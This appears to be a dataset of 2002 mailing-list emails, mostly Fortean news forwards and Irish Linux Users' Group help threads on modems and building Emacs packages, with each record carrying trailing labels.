---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Wed, 28 Aug 2002 13:01:34 +0100",[zzzzteana] Lincs lizard,"http://yorkshirepost.co.uk/scripts/editorial2.cgi?cid=news&aid=481687 2.5ft lizard 'abandoned' at resort Holidaymakers at a seaside resort were stunned to find a 2.5ft lizard sunning itself at a caravan park close to a beach. The savannah monitor lizard was captured at Chapel St Leonards, Lincs, on Sunday by a member of the public before being collected by an RSPCA team. RSPCA officer Justin Stubbs, who took the lizard to a specialist carer, said: ""Savannah monitors can give a nasty bite and we certainly wouldn't have wanted one loose in a busy holiday resort for long."" Officials believe the animal may have been abandoned by a private owner because it has not been reported missing. Savannah monitor lizards originate in Africa and are carnivorous, eating rats and small rodents. They can grow to 4ft in length. Anyone with information about the lizard can contact the RSPCA in confidence on 08705 555 999. ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Wed, 28 Aug 2002 13:03:39 +0100",[zzzzteana] Hot rock,"http://yorkshirepost.co.uk/scripts/editorial2.cgi?cid=news&aid=481620 Close encounter of burnt kind IT came from outer space or did it? Teenager Siobhan Cowton is convinced the object which struck her as she climbed into the family car at her home in Northallerton is extra-terrestrial. But while her claims are being treated with a certain amount of studied academic scepticism by experts in these matters, the 14-year-old schoolgirl is adamant she was hit on the foot by a meteorite. Siobhan initially thought there was a more prosaic explanation that the odd-looking stone had been thrown at her by a child,. But on closer inspection, she discovered all was not as it seemed because it was hot when she picked it up. It hit her on a foot but caused no injury. ""I looked at it again and it had a black and grey colour with a shiny bubble surface,"" she said. After closer inspection by her father Niel, and comparison with pictures on the Internet, Siobhan plans to ask scientists at Durham University to check the object for authenticity. If it is from outer space, Siobhan says she will consider putting it up for auction. She added: ""If it isn't worth anything then I suppose I will keep it myself for sentimental value. It is not every day that you are hit by a meteorite."" But Dr Ben Horton, a lecturer in physical geography, was the acme of academic caution. ""Meteors have features that can be used to establish whether it is a piece of extraterrestrial rock,"" he said. ""They have a very smooth surface but sometimes they have shallow depressions and cavities. If they are hot, they should have a black ash like crust burnt around the edge. ""Most are between five and 60 centimetres but five centimetres is the smallest that they usually appear."" To establish the provenance of Siobhan's suspected meteorite it would have to be subject to a mineral breakdown but Dr Horton thinks the chances of it being extra-terrestrial are slim. ""Around 50,000 a year strike the Earth's surface and, considering the size of the Earth, it is very unlikely to be a meteorite. ""However, there is a possibility and there is no reason it couldn't happen,"" he added. ------------------------ Yahoo! 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Thousands of chicks are believed to have died as an increase in sea ice made it impossible for the adults to find food. A detailed count is planned in October. Antarctica (New Zealand) chief executive Lou Sanson said: ""The penguins were in a big huddle. We can now hope that the emperors have had a successful breeding season over the winter."" Some 1,000 pairs of emperors - the largest penguins in the world at 3.3ft tall and 88lb - usually nest at Cape Crozier, 50 miles from the US McMurdo research station. The 200,000-strong Adelie penguin colony, which also nests at the cape, may have lost up to third of its population. ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Axel Thimm ,rpm-zzzlist@freshrpms.net,"Wed, 28 Aug 2002 14:32:35 +0200",/home/dude,"Hi, some time now the following messages were haunting me: automount[11593]: attempting to mount entry /home/dude It just came to my attention, that only freshrpm benefitting hosts showed this up. I grepped through the binaries and found referrences to /home/dude. # grep /home/dude /usr/bin/* Binary file /usr/bin/aaxine matches Binary file /usr/bin/gentoo matches Binary file /usr/bin/gphoto2 matches Binary file /usr/bin/gtkam matches ... I am now relaxed again ;), and pass this info on. Probably Matthias Saou himself is ""dude"", and some package has hardwired a path in his build directory. It would be nice to find out which and fix it, but I am using too many of the freshrpm suite to narrow it down. Regards, Axel. -- Axel.Thimm@physik.fu-berlin.de _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Andy ,"""'zzzzteana@yahoogroups.com'"" ","Wed, 28 Aug 2002 13:47:35 +0100",[zzzzteana] Big cats 'on the increase',"http://news.bbc.co.uk/1/hi/uk/2220922.stm Big cats are on the loose in Britain and breeding their way towards record numbers, a monitoring group has claimed. The British Big Cats Society said it has received more than 800 reports of animals including pumas, black panthers, leopards and so-called Fen tigers over the past 12 months. And while it admits that many sightings are of nothing more exotic than the average moggy, it claims to have ""firm evidence"" that the majority are real. Society founder Daniel Bamping told BBC News Online he could cope with the critics and doubters, adding: ""I was a sceptic, I thought it was in the same realm as the Loch Ness monster. ""But it's not, they are really out there."" 'Cats with cubs' Mr Bamping said there have been reports of big cats from every corner of the country. Big cat reports Hotspots include Scotland and Gloucestershire January 2002 - Kent man clawed by suspected Lynx November 2001 - farmer reports animals mauled by big cat April 2001 - Lynx captured in north London 1999 - Puma-like cat attacks horse in Wales ""This weekend alone I have had sightings from Wales, the Scottish borders, Kent, the West Midlands, Devon, Somerset and Wiltshire,"" he said. The society claims some of the big cats are breeding with domestic animals. But Mr Bamping said others, particularly lynx and puma, probably exist in sufficient numbers to breed among themselves. ""We have had sightings of cats with cubs,"" he added. 'Trigger camera' The society claims to have evidence proving the cats' existence, including photographs, paw prints, sheep kills and hair samples. But it knows it will have to do even more to convince a sceptical public that it is not spinning them a shaggy cat story. A national ""trigger camera"" project is planned which, the society hopes, will provide footage to prove the existence of the big cats. Mr Bamping said: ""The idea is that the cat will walk past the camera and take a picture of itself."" 'Like dogs' The society believes many of the sighting are of pets released into the wild, or their descendants. Its spokesman Danny Nineham said: ""In the 1960s and 1970s, people had big cats like leopards as pets and they used to walk them like dogs. ""But in 1976 when the Dangerous Wild Animals Act came into force, people released their cats because they did not want to pay for a licence, put them down, or take them to a zoo."" ------------------------ Yahoo! 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""This project shows how a relatively simple speech-to-speech translation system can be rapidly and successfully constructed using today's tools,"" said the team from Carnegie Mellon University in a research paper published recently. The research was commissioned by the US Army, which is increasingly finding itself in peace-keeping roles where communication is key. Speaking in tongues ""In the Balkans, the Army is not just supposed to conquer somebody,"" Robert Frederking of Carnegie Mellon University told the BBC programme Go Digital. Translators could be essential for US soldiers ""In a peacekeeping situation, you have two guys trying to beat each other up and you are holding them apart. ""You can't just shot one of them, you have to figure what is going on and talk to them,"" he said. The portable translator was developed with a year, using commercially available laptops. The Army did not want to field-test the device in a battlefield situation. So instead the translator was tested by US Army chaplains in Croatia. ""The chaplains very often end up having to talk to foreign nationals and typically don't have any translation support,"" explained Mr Frederking. Slow system For the trials, the chaplains used the translator to speak to Croatians who knew just a smattering of English. The system works by having a speech recogniser that picks up the words in Croatian, turns the speech into text. The written words are then translated into English and read out by a speech synthesizer. ""It went reasonably well half the time,"" said Mr Frederking, though it was slow in translating phrases. The research team admit that the system is not ready to be deployed in the field. But they say their trials showed that a portable translator could be made to work with further research and development. The Audio Voice Translation Guide System project was a joint venture between the US Army, the military manufacturer Lockheed Martin and Carnegie Mellon University. ------------------------ Yahoo! Groups Sponsor ---------------------~--> Receive Phone Calls and Faxes While You're Online! Emerson Switchboard eliminates the need for a second phone line. Order the Switchboard today for $39.95 + shipping and handling. http://us.click.yahoo.com/P2sPyA/o6kEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Wed, 28 Aug 2002 13:55:54 +0100",[zzzzteana] Worryingly sophisticated bees,"Ananova: Brazilian bees keep their own 'insect ranch' Scientists have found a new species of bee that behaves like a farmer by keeping herds of insects. The Amazonian Schwarzula use their own 'insect ranches' to provide food and building materials. The bees nest in holes in trees alongside 200 aphid-like insects from a species called cryptostigma. Cryptostigma feed on tree sap and excrete a sugar solution, which the bees stop them from drowning in, by licking it up and turning it into honey. The insects also produce wax from glands on their backs, which the bees scrape off and use for their nest. Nature reports it is the first time farming behaviour has been discovered in bees. Biologist Joao Camargo, of the University of Sao Paulo in Brazil, said: ""In turn the bees provide the insects with sanitary benefits and protection."" Writing in the journal Biotropica, Camargo says the bees might even carry their insect ranches around the forest with them and is planning further research on how they tend to their herd. Studies of the Schwarzula showed the bees seemed to get most of their sugar from the insect farms. Some bees were seen licking human sweat for salt. Story filed: 13:49 Wednesday 28th August 2002 ------------------------ Yahoo! Groups Sponsor ---------------------~--> Super Blue Stuff Pain Relief - On Sale Today for $29.95 + shipping! With Super Blue Stuff youll feel the results in just minutes. Relieves arthritis pain, back pain, sore muscles, and more! http://us.click.yahoo.com/N2sPyA/q6kEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Andy ,"""'zzzzteana@yahoogroups.com'"" ","Wed, 28 Aug 2002 13:54:36 +0100",[zzzzteana] Betamax finally laid to rest,"Not fortean, but a moment in time all the same... http://news.bbc.co.uk/1/hi/entertainment/film/2220972.stm Betamax video recorders are finally being phased out almost 20 years after losing the battle for dominance of the home video market to VHS. Betamax's manufacturer, Sony, has announced that it will make only 2,000 more machines for the Japanese market. They have not been on sale in the rest of the world since 1998. VHS became the dominant format by the mid-1980s Betamax was launched in 1975, and won many fans who said it was better quality than its VHS rival. Some 2.3 million Betamax machines were sold worldwide in its peak year, 1984, but it soon went downhill as VHS became the format of choice for the film rental industry and in homes. Just 2,800 machines were sold in the 12 months to March 2002. ""With digital machines and other new recording formats taking hold in the market, demand has continued to decline and it has become difficult to secure parts,"" Sony said in a statement. Sony said it would continue to offer repairs and manufacture tapes for the format. The professional Betamax format, Betacam, is still widely used in the television and film industries and will be unaffected. But the recent rise of DVDs seems to have put the final nail in the coffin for Betamax home players. In the 1980s, many video rental chains preferred the VHS format. Betamax lovers became so passionate about the format in the face of competition from VHS that they set up the Betaphile Club in 1988. The picture and sound quality of Beta was superior to VHS, Betaphiles say, although VHS tapes had a longer duration. A total of 18 million Betamax machines were sold around the world, but no new ones will be made after the end of 2002. Sony is now planning to focus its efforts on new digital technologies. See also: ------------------------ Yahoo! Groups Sponsor ---------------------~--> Kwick Pick Portable Lock Pick - Opens Almost Any Lock! Locked out? Try the Kwick Pick. For $17.95, you can open car doors, desk drawers, padlocks, and much more! Never get locked out again! http://us.click.yahoo.com/O2sPyA/p6kEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """HAMILTON,DAVID (HP-Ireland,ex2)"" ","""'ilug@linux.ie'"" ","Wed, 28 Aug 2002 13:52:32 +0100",[ILUG] Hayes Accura ISDN PCI,"Does anyone know if this is supported under 2.4.18 kernels or higher? I need to buy an ISDN TA quick, and PC World have these in stock for 65. Thanks, David. David Hamilton Senior Technical Consultant HP Ireland -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Kiall Mac Innes"" ","""ILUG"" ","Wed, 28 Aug 2002 14:09:48 +0100",[ILUG] Modem Problems,"ive just gotton myself a modem (no its not a winmodem, yes im sure) it dials the internet grant using the RedHat PPP Dialer... and i can ping the server i dial into but i cant get any furthur than that server? any ideas? -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Stewart Smith ,zzzzteana@yahoogroups.com,"Wed, 28 Aug 2002 14:14:45 +0100",Re: [zzzzteana] Re: That wacky imam,"Martin Adamson wrote:>>And we know how unbiased MEMRI is, don't we.... >> > > Oh, of course, you're right, any information not coming from a source that > fits your pre-conceived world view can simply be dismissed out of hand. > > Martin > For goddess' sake Martin that seems to be exactly what you're doing. You started your reply to Tim's posting of the Guardian article by suggesting that it was factually inaccurate. Did you actually read it or did you just assume that if the Grauniad writes about a Muslim extremist they must be making him out as an all round nice guy? Stewart -- Stewart Smith Scottish Microelectronics Centre, University of Edinburgh. http://www.ee.ed.ac.uk/~sxs/ ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 That Goddess Chick ,zzzzteana@yahoogroups.com,"Thu, 5 Sep 2002 16:50:38 -0500",[zzzzteana] Re: Cincinnati Group Wants To Stamp Out Hotel Sex Movies,"> >> (CNSNews.com) - A pro-family group in Cincinnati that has pressured >> two area hotels to stop showing adult pay-per-view movies has vowed >to >> expand its grass- roots campaign nationwide. > > >Quite right. And while they're at it, they can get that bunch of >religious nuts to stop sneaking their book of hate and intolerence >into the bedside cabinets, you know, that one with all the telephone >humbers in it. > >Oh, and the Gideon Society can take their bibles back as well. > >RobinH > What are you talking about??? That book is where all the best free porn is!! Piece of trivia: the thing is so pithy it floats!! -- Fel http://www.frogstone.net Weird Page: http://my.athenet.net/~felinda/WeirdPage.html [Non-text portions of this message have been removed] ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana@yahoogroups.com,"Fri, 06 Sep 2002 11:21:48 +0100","Re: [zzzzteana] Save the planet, kill the people","the latest - http://news.bbc.co.uk/1/hi/world/africa/2240487.stm Friday, 6 September, 2002, 08:53 GMT 09:53 UK Zimbabwe eases GM stance Zimbabwe has dropped objections to accepting genetically modified (GM) grain so that urgently-needed food aid can be delivered, says the UN food agency. The executive director of the World Food Programme, James Morris, said Zimbabwe's decision would send an important message to other countries in the region which have refused food aid because it might contain GM grain. Until now, Zimbabwe had said it would only allow aid workers to distribute ground maize to allay fears that GM grain could be planted. But a Zimbabwean minister says the government has now set up a system of checks to ensure the grain will not enter the eco-system. There have been fears that Southern African nations could lose lucrative export markets in Europe if they cannot certify that their crops are GM-free. Aid Mr Morris announced the policy reversal after talks in Harare with Zimbabwean President Robert Mugabe. ""The fact that they have now concluded that they are comfortable in accepting GM crops or commodities will be an important signal to other countries in the region,"" Mr Morris told journalists. ""It will enable us to do our job,"" he said. Aid workers say up to 13 million people in seven countries in Southern Africa face famine. In Zimbabwe which was once the bread basket of the region, some six million people are estimated to need food aid. The WFP says it already has aid pledges for about half of the 600,000 tonnes of food it intends to bring into Zimbabwe in the next few months. The government blames the shortages solely on drought, but the government's campaign to transfer land from large scale commercial white farmers has worsened the situation, say many donors. Lost markets The GM row has complicated relief efforts across the region. Zambia's president is refusing to overturn his ban on GM food aid, labelling it as 'poison' . Deals to mill GM food before being distributed, so that it could not be planted, have placated fears in Malawi and Mozambique. United States aid officials deny that the food is unsafe, pointing out that Americans eat GM maize every day. The World Health Organisation has certified the grain for human consumption and says it does not constitute a danger to people's health. ------------------------ Yahoo! Groups Sponsor ---------------------~--> Looking for a more powerful website? Try GeoCities for $8.95 per month. Register your domain name (http://your-name.com). More storage! No ads! http://geocities.yahoo.com/ps/info http://us.click.yahoo.com/aHOo4D/KJoEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Brian Chapman ,"""zzzzteana@egroups"" ","Thu, 5 Sep 2002 16:57:23 -0700 (PDT)",[zzzzteana] Frog Fall at Cheapside,"Near the end of his *Memoirs of Extraordinary Popular Delusions and the Madness of Crowds* (1851), Charles Mackay discusses various catch phrases briefly popular in mid-19th-century London. One of them, he observes, ""like a mushroom, seems to have sprung up in the night, or, like a frog in Cheapside, to have come down in a sudden shower. One day it was unheard, unknown, uninvented; the next it pervaded London."" Was ""like a frog in Cheapside"" (or something similar) a catch phrase itself, or did Mackay come up with the simile on his own? And to what event or events does it refer? I didn't find anything relevant in Partridge's *A Dictionary of Catch Phrases.* bc ------------------------ Yahoo! Groups Sponsor ---------------------~--> Looking for a more powerful website? Try GeoCities for $8.95 per month. Register your domain name (http://your-name.com). More storage! No ads! http://geocities.yahoo.com/ps/info http://us.click.yahoo.com/aHOo4D/KJoEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana@yahoogroups.com,"Thu, 05 Sep 2002 22:54:52 +0100",Re: [zzzzteana] Free Web Hosting?,"Bill: > I've decided that I ought to put some of my writing samples on-line for > potential employers to mock. And I don't want to pay for it. There are still > a couple dozen places to do this, do any of you have preferences? > Getting your own domain needn't be expensive, looks more professional, and you're not going to suddenly lose your site with little or no notice (yes, I'm still smarting from bastard Geocities). I registered mine through http://www.easyspace.com/ - works out about a pound a week for registration and 30Mb hosting. It's a valuable service, there's no reason not to expect to pay. TimC ------------------------ Yahoo! Groups Sponsor ---------------------~--> Looking for a more powerful website? Try GeoCities for $8.95 per month. Register your domain name (http://your-name.com). More storage! No ads! http://geocities.yahoo.com/ps/info http://us.click.yahoo.com/aHOo4D/KJoEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Jon Downes"" ",,"Thu, 5 Sep 2002 22:31:31 +0100","Re: [zzzzteana] FWD (TLCB) Jimmy Carter: The Troubling, New Face of America","Of course, everyone knows that Owlman is a work of fuggin` genius J > Hey, I met the wizard bloke from Owlman, who wants to touch me!! > > Dave ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Martin Adamson"" ",zzzzteana@yahoogroups.com,"Fri, 6 Sep 2002 11:30:04 +0100",[zzzzteana] Scissors are a snip for Third World,"The Times September 06, 2002 Scissors are a snip for Third World From Richard Owen in Rome IT IS one of the unanswered questions of the past year: what happens to the millions of nail scissors confiscated by airport security officials from passengers hand luggage? Most are thrown away or recycled after being seized as part of security measures since September 11. But an enterprising chaplain is sending them to Catholic missionaries for distribution to Third World hospitals and clinics. In theory travellers who have left nail scissors, nail files, corkscrews or manicure sets from their hand luggage can arrange for them to be returned. In practice many just shrug and leave the scissors by the X-ray scanners. Father Arturo Rossini, chaplain of Malpensa airport in Milan, said that scissors were costly or unavailable in many parts of Africa, Asia and Latin America. He told Corriere della Sera that he had plucked up the courage to ask the authorities if he could have the confiscated scissors. With the help of a retired airport policeman, he had packaged 60,000 nail scissors and manicure sets, using the airport chapel as a packing centre. Packages were shipped in aircraft holds to Peru, Brasil, India, Mozambique, Argentina, Zambia and Kenya. In such countries, what we think of as a personal grooming accessory can be a vital tool. The idea has been taken up at other Italian airports. ------------------------ Yahoo! Groups Sponsor ---------------------~--> Plan to Sell a Home? http://us.click.yahoo.com/J2SnNA/y.lEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Martin Adamson"" ",zzzzteana@yahoogroups.com,"Fri, 6 Sep 2002 11:25:44 +0100","Re: [zzzzteana] Save the planet, kill the people","> Zimbabwe has dropped objections to accepting genetically modified (GM) grain > so that urgently-needed food aid can be delivered, says the UN food agency. Yes, confirming what I said in my last message. Ah! I see where the problem lies! You seem to be labouring under the misapprehension that Zimbabwe and Zambia are the same country. Martin ------------------------ Yahoo! Groups Sponsor ---------------------~--> Sell a Home for Top $ http://us.click.yahoo.com/RrPZMC/jTmEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana@yahoogroups.com,"Fri, 06 Sep 2002 11:38:42 +0100","Re: [zzzzteana] Save the planet, kill the people","Martin: > Yes, confirming what I said in my last message. Ah! I see where the problem > lies! You seem to be labouring under the misapprehension that Zimbabwe and > Zambia are the same country. > No, that would be rather silly. There are conflicting reports on whether Zambia is prepared to accept milled GM grain or not - and, from reports from various sources, considerable debate within that country. There's complex issues, not all of which can be dismissed by blaming those nasty environmentalists, which was my original point. TimC ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Martin Adamson"" ",zzzzteana@yahoogroups.com,"Fri, 6 Sep 2002 11:32:57 +0100",[zzzzteana] Hitler-style applicant welcomed by parties,"The Times September 06, 2002 Hitler-style applicant welcomed by parties By Roger Boyes MANAGERS of Germanys political parties are having difficulty explaining their enthusiastic reaction to a man who applied for membership with letters cribbed largely from Mein Kampf, Hitlers personal manifesto. The incident illustrates how indiscriminate parties have become in taking on new members during an election campaign, even when their sentiments bear a suspicious resemblance to those of the Fhrer. Edmund Stoiber is a thousand times more suited to leading Germany than the present Chancellor, said one letter sent to the Christian Social Union headquarters in Ingolstadt. Chancellor Schrder is doing nothing to stop the flood of foreigners who are spreading around our Fatherland, said the letter, signed by a certain Rudolph Lewald. The CSU immediately spotted a potential member. Many thanks for your nice thoughts, replied the local party manager, who enclosed an application for membership. The letter used chunks of Hitlers book, which is still banned in Germany. History students have to apply for access to the book in university libraries. The strongest, the brave and the hardworking will receive the birthright of existence, only those who are born weaklings could regard this as offensive, the letter-writer said. So-called humanity is melting like snow in the March sun. Such phrases were lifted from Mein Kampf, which was written while Hitler was in jail after the failed Munich putsch of 1923. Similar letters, also using the Nazi leaders words, were sent to the other political parties and drew sympathetic responses. I read your letter with great interest and pleasure, the manager of the Christian Democratic Union in Cologne, said. Great that you want to join us! enthused the Green Party headquarters. The Free Democrats invited the aspiring party member to a fundraising charity ball at which Hans- Dietrich Genscher, the former Foreign Minister, would be the star guest. The Social Democrats sent a list of rallies to be attended by Gerhard Schrder, the Chancellor. I wanted to test how serious parties are about combating right-wing extremism, said the letter-writer, who was in fact the Cologne novelist Rainer Popp. I had no idea that they would be so enthusiastic. For the first few days I expected two men in leather coats from the Special Branch to knock on my door. Instead only the postman called with packets of election material from zealous political headquarters, Herr Popp said. I was stunned that political parties could react in this way I reckon I would have had the same response if I had signed the letter Adolf Hitler. ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Wynne, Conor"" ","""'ilug@linux.ie'"" ","Fri, 6 Sep 2002 09:22:32 +0100",[ILUG] Flat rate is back lads!,"Hi all, Saw this on the register this morning, http://theregister.co.uk/content/6/26983.html, and they support ISDN dual channel. Whoo Hoo! CW -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,Irish Linux Users Group ,"Thu, 5 Sep 2002 19:14:45 -0700",Re: [ILUG] modem problems,"Quoting Waider (waider@waider.ie): > Niall Sheridan wrote: > | A power cycle will do it. > | Other than that it's chipset specific. > > sure. tried powercycling an internal modem recently? :) > > Waider. This is Rick Moen bait. Thanks. It was delicious. ;-> -- Cheers, ""That article and its poster have been cancelled."" Rick Moen -- David B. O'Donnel, sysadmin for America Online rick@linuxmafia.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Michael Conry ,ilug@linux.ie,"Fri, 6 Sep 2002 01:30:55 +0100",Re: [ILUG] Newby to Linux looking for information on cvs,"On 0020 +0100 %{!Thu, Sep 05, 2002 at 11:53:32PM +0100}, Darragh wrote: > the help that I received today. Then though I tried to build them. I > started by trying the w3 program. I used the following lines which produced > some strange results. Would any one be able to set me straight? > > ./configure --with-emacs --prefix=/usr/local/src/beta/w3 --exec-prefix=/usr/ > local/src/beta/w3 --with-url=/url/url One thing I _think_ you might be doing slightly wrong is your specification of prefixes. --prefix is the directory to be used as root for _installing_ files. Typically packages use /usr/local as default (so binaries might then go in /usr/local/bin, documentation in /usr/local/doc and so forth). Normally, I find it sufficient to put --prefix=/usr/local, and do not further specify things like --exec-prefix. Maybe you have a special reason for using the prefixes you chose, in which case ignore me! > That worked fine so I moved to the next step. > make > At the bottem of the text I got the following messages: > Cannot open load file: /url/url/url-vars.el > make[1]: *** [custom-load.el] Error 255 > make[1]: Leaving directory `/usr/local/src/beta/w3/lisp' > make: *** [w3] Error 2 > > When I got around to trying the url package I had no problems. In saying > that this doesn't necessarily mean that I was doing it right so below are > the commands I used. > ./configure --with-emacs --prefix=/url/url --exec-prefix=/url/url I'd make the same remarks about prefixes here. I would use the command ./configure --with-emacs --prefix=/usr/local To get w3 to compile, I think the with-url flag you should use is --with-url=/usr/local/share/emacs/site-lisp/ (Assuming you compiled/installed url with --prefix=/usr/local Since you appear to have installed url in /url/url, configure w3 with ./configure --with-emacs --prefix=/usr/local/ --with-url=/url/url/share/emacs/site-lisp A command you would have found useful would have been find / -name 'url-vars.el' -print Which would have told you where the url-vars.el file was installed. A program which is very useful is checkinstall http://asic-linux.com.mx/~izto/checkinstall/ It allows you to install packages from source while still registering them in the package management system of your distro (rpm,deb,tgz). Instead of ""make install"" type ""checkinstall"", and a package is put together and installed for you. Makes uninstallation simpler than it might otherwise be. -- Michael Conry Ph.:+353-1-7161987, Web: http://www.acronymchile.com Key fingerprint = 5508 B563 6791 5C84 A947 CB01 997B 3598 09DE 502C -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Darragh"" ",,"Thu, 5 Sep 2002 23:53:32 +0100",RE: [ILUG] Newby to Linux looking for information on cvs,"Hello all, Firstly I'd like to thank all of you for the fast and very helpful feedback that I got to my question today. I have one more question though. I downloaded the w3 and url files from the server at the first try thanks to the help that I received today. Then though I tried to build them. I started by trying the w3 program. I used the following lines which produced some strange results. Would any one be able to set me straight? ./configure --with-emacs --prefix=/usr/local/src/beta/w3 --exec-prefix=/usr/ local/src/beta/w3 --with-url=/url/url That worked fine so I moved to the next step. make At the bottem of the text I got the following messages: Cannot open load file: /url/url/url-vars.el make[1]: *** [custom-load.el] Error 255 make[1]: Leaving directory `/usr/local/src/beta/w3/lisp' make: *** [w3] Error 2 When I got around to trying the url package I had no problems. In saying that this doesn't necessarily mean that I was doing it right so below are the commands I used. ./configure --with-emacs --prefix=/url/url --exec-prefix=/url/url followed by the commands make and make install. There is no text files which contain help on installing the url package so I'm not completely certain if I've used the right method here. Thanks again Darragh ----- Original Message ----- From: ""Hunt, Bryan"" To: ; Cc: Sent: Thursday, September 05, 2002 5:08 PM Subject: OT: RE: [ILUG] Newby to Linux looking for information on cvs > > speaking of that IDE (weblogic developer) the open source version called > eclipse is free from eclipse.org If you are doing java development you > need to get this IDE . I've been using it for the last month and it is > absolutly superb. Best thing about it is that rather than using swing > (which is crap) is that they have their own native widget set called swt. > > When you run it on windows it uses windows widgets but when you run it on > linux it uses gtk, you should see it on gnome 2 ! Absolutely stunning ! > > --B > > -----Original Message----- > From: Justin MacCarthy [mailto:macarthy@iol.ie] > Sent: 05 September 2002 16:53 > To: michael.conry@ucd.ie > Cc: ilug@linux.ie > Subject: RE: [ILUG] Newby to Linux looking for information on cvs > > > This is the best step by step guide to setting up cvs on Redhat.. > > http://www7b.software.ibm.com/wsdd/library/techarticles/0205_yu/yu.html?open > &l=456,t=gr > > It is for a particular IBM ide, but the setup and testing of the server is > the same for any CVS client > > Both The ""Using Linux"" and ""Linux in a nutshell"" book by Oreilly have > sections on cvs /rcs , and both books are a must buy for any linux newbie > > > Justin > > > > -----Original Message----- > > From: ilug-admin@linux.ie [mailto:ilug-admin@linux.ie]On Behalf Of > > Michael Conry > > Sent: 05 September 2002 16:34 > > To: Darragh > > Cc: ilug@linux.ie > > Subject: Re: [ILUG] Newby to Linux looking for information on cvs > > > > > > On 0020 +0100 %{!Thu, Sep 05, 2002 at 3:55:16PM +0100}, Darragh wrote: > > > Hello, > > > I am very new to Linux and need some help on a utility called > > cvs. As far > > > as 